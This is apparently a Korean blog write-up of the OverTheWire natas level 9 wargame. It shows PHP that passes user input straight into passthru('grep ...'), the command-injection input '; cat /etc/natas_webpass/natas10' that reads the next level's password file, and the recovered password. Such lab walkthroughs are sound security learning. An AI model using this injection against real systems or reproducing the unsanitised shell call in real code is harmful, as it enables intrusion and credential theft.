이번에도 인풋창이 있다.
hello를 입력한 결과
입력한 글자를 포함한 단어를 알려주는 거였다. a를 입력하면 사전처럼 단어가 줄줄 나온다.
소스코드를 보자.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
array_key_exists(string|int $key, array $array) : bool
배열 내에 키 또는 인덱스가 존재하는지 확인하는 함수
key : value to check
array : an array with keys to check
외부 프로그램을 실행하는 함수
system()이나 exec()같은 함수이다.
우선 natas의 모든 password는 /etc/natas_webpass/natas(번호)에 있다는 사실을 알아야 한다.
grep명령어를 이용해 dictionary.txt에서 찾고 있으니 ;으로 명령어를 끝내고 비밀번호를 찾아보자.
; cat /etc/natas_webpass/natas10
위와 같이 입력해주니 바로 password를 얻을 수 있었다. natas11도 나오나 해봤는데 역시 9와 10을 제외하고는 나오지 않았다.
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
'Over the Wire > natas' 카테고리의 다른 글
[OvertheWire:natas] natas 10 → 11 (0) | 2021.05.18 |
---|---|
[OvertheWire:natas] level 9 → 10 (0) | 2021.05.16 |
[natas] level 7 → 8 (0) | 2021.05.09 |
[natas] level 6 → 7 (0) | 2021.04.10 |
[natas] level 5 → 6 (0) | 2021.04.10 |